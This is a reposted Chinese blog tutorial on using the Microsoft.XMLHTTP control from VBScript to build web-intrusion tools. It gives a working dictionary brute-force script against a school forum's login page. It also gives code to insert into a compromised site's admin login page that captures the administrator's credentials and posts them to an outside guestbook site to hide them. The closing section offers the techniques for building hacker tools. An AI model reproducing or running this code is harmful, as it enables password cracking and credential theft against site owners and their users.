详解XMLHTTP控件的应用[转自千寂孤城博客]

来源:互联网 发布:车联网大数据平台架构 编辑:程序博客网 时间:2024/06/10 04:19
最近在我的脚本群里总有一些朋友问我XMLHTTP对象到底是什么,有什么用。本文我就详细地介绍一下Microsoft.XMLHTTP对象的使用,希望对大家能有所帮助。
首先,Microsoft.XMLHTTP是一个控件,而且是系统默认自带的控件(Windows 98以下除外),它通过http协议访问网络。在我的理解中,XMLHTTP控件就相当于一个浏览器:向网站发送http请求(POST或GET),然后取得返回数据。
一些小菜们是不是认为编写关于WEB入侵的程序需要很高的编程技术?其实通过XMLHTTP对象可以轻易地完成这类程序。下面我就通过一些实例来介绍一下XMLHTTP的应用。调用XMLHTTP的方法很多,为了方便,本文用VBS脚本来实现。

一、密码暴力破解程序

让我们先通过一个例子来熟悉一下XMLHTTP的使用方法。图1所示的是我们学校论坛的登陆页面。

[图1]

通过查看源代码,我们看到如下代码(我省略了部分表格代码,仅保留关键信息):

<form action=User/login.asp method="post">
用户名:<input name=user type=text maxlength=20 size=10 value="" class=fminpt>
密码: <input name=pass type=password maxlength=20 size=10 value="" class=fminpt>
<input type=submit value="登录" class=fmbtn>
</form>

由此可以看出,用户登陆的实质是通过浏览器对"User/login.asp"页面进行一次访问,并提交user和password两个变量的值。当然,除了查看源代码,你也可以通过抓包来分析。
前面说过,XMLHTTP控件就相当于一个浏览器,那我们来看看如何用XMLHTTP来模拟一次登陆。先在网站上随便注册一个用户,如用户名“千寂孤城”,密码“qjgc”。然后写一个脚本,代码如下:


Function URLEncoding(vstrIn)   '一个转换函数,暂时不管它,后文会提到
strReturn = ""
Dim i
For i = 1 To Len(vstrIn)
ThisChr = Mid(vstrIn, i, 1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00) / &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
strReturn = Replace(strReturn, Chr(32), "%20")
URLEncoding = strReturn
End Function

'先创建XMLHTTP对象
set http=createobject("Microsoft.XMLHTTP")
'打开与服务端的连接,第一个参数为发送方法,即get或post,第二个参数是要访问的网页地址,最后一个参数是同步的意思,设为true就是异步,即 脚本在发送完指令后立即向后执行而不等待服务器的返回信息。其实还有两个不常用的参数bstrUser和bstrPassword,我们不管它。
http.open "POST","http://***/User/Login.asp",false
'由于是提交表单,所以必须设定下面这句!否则会出错。
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
name=URLEncoding("千寂孤城")
'发送指令,故意发送个错误的密码
http.send "user="&name&"&"&"pass=abcd"

'以下是创建adodb.stream对象来把网站的返回信息写入ok.htm文件。
set aso=createobject("Adodb.Stream")
aso.open
aso.type=1
aso.write http.responsebody
aso.saveToFile "ok.htm",2
aso.close


运行这个脚本后,当目录会生成一个ok.htm文件,打开看看,如图2。

[图2]

看到的页面和我们通过浏览器来登陆时输错了密码后出现的页面基本一致。接下来我们再把脚本中提交的密码改成正确的,即把http.send "user="&name&"&"&"pass=abcd"改成http.send "user="&name&"&"&"pass=qjgc"。再次运行脚本后打开ok.htm文件,看到页面如图3。

[图3]

呵呵,成功登陆了吧!我再解释两点:
1、URLEncoding函数的用处是把提交数据转换成16进制,比如把千寂孤城转换成%C7%A7%BC%C5%B9%C2%B3%C7,因为在http协议里是不能直接提交汉字的,英文和数字可以不转换;
2、上面的脚本里用Adodb.Stream来写文件而不用FSO是因为网站的返回数据并不是字符串的形式,只有Adodb.Stream才能以流的方式进行文件操作。

通过刚才这个脚本相信大家对XMLHTTP控件的使用方法已经很清楚了,那么写一个密码破解程序是不是变得很简单了呢?密码破解我们可以通过利用XMLHTTP控件反复向网站登陆页面提交密码,再分析返回数据判断密码是否正确来实现。那么究竟如何分析返回数据呢?提取关键字?其实最简单的方法是判断返回数据的长度。以破解“千寂孤城”为例,我们可以这样写:

'打开字典zidian.txt
set fso=createobject("scripting.filesystemobject")
set zidian=fso.opentextfile("zidian.txt")

set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://***/User/Login.asp",false
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
name=URLEncoding("千寂孤城")
'发送一个错误密码a,以获取错误密码对应的返回数据的长度。万一密码猜对了怎么办?那你去买彩票吧。
http.send "user="&name&"&"&"pass=a"
FalseLenth=len(Http.responsebody)
'开始破解,循环提交数据致字典被读完
do while zidian.atendofstream=false
'从字典里读出密码
pwd=zidian.readline
http.open "POST","http://***/User/Login.asp",false
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
http.send "user="&name&"&"&"pass="&pwd
'把反馈信息的长度和密码错误时的反馈信息长度相比较,如果不相等则说明密码正确。然而实际测试时发现这样做并不是很准确,因此我改成了长度相差太大则密码正确
if len(Http.responsebody)<FalseLenth-100 or len(Http.responsebody)>FalseLenth+100 then
wscript.echo "密码是:"&pwd
wscript.quit
end if
loop

二、记录管理员密码

大家在通过各种方法得到一个webshell后想得到管理员的密码时会怎么做呢?从数据库中取出经过md5加密后的密码狂暴一通?呵呵,其实还有个方法就是修改Admin的登陆页面,使其在Admin登陆时自己把密码记录下来。比如在登录页面中插入类似如下的代码:

set aso=createobject("Adodb.Stream")
aso.open
aso.type=2
aso.loadfromfile "logs.asp"
aso.position=aso.size
aso.writetext Request.Form("user")&" "&Request.Form("pass")&"||"
aso.saveToFile "logs.asp",2
aso.close

这种方法虽然方便但太显眼了。你想想服务器上无缘无故多出了一个文件,里面还记录着自己的密码。管理员就是再白痴也会敢紧把它删了。但是如果我们通过调用XMLHttp控件将管理员的密码提交到其他站点上去,效果就不一样了。管理员即使发现了也只有干瞪眼。呵呵,我们在登录页面中插入类似如下的代码就可以了:

Function URLEncoding(vstrIn)
……省略……
End Function

user=urlencoding(Request.Form("user"))
pass=urlencoding(Request.Form("pass"))
set http=createobject("Microsoft.XMLHTTP")
'可以看出是个留言本
http.open "POST","http://***/guestbook/save.asp",false
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
'提交数据,除了user和pass还有一些留言本发贴时的必须数据
http.send "face=Image1.gif&guestname=test&guestcontent="&user&"|"&pass&"||"&"&Submit3=%CC%E1%BD%BB"

最好是把提交数据的代码插入到源文件的某些函数中,如判断登陆是否成功的函数。要知道哪些是必须提交的数据只需到留言本上去发个贴,抓包下来看看就明白了。
希望同学们不要通过修改自己学校论坛的登陆页面来获得其他同学的密码并用得到的密码来测试他人的邮箱或QQ。

三、总结

XMLHttp控件的应用当然远不止这些。如抢注会员、疯狂刷票、Cross-Site和SQL Injection漏洞利用程序以及小偷程序、断点续传程序、原始木马等等都有它的用武之地。但实质是一样的,不外乎就是对指定页面进行一次或多次访问, 发送各种请求并将服务器反回的数据进行分析处理。通过我举的这两个例子相信各位小菜们一定对如何使用XMLhttp控件有了足够的了解,自己也能举一反 三,写出各种DIY的黑客工具来了吧!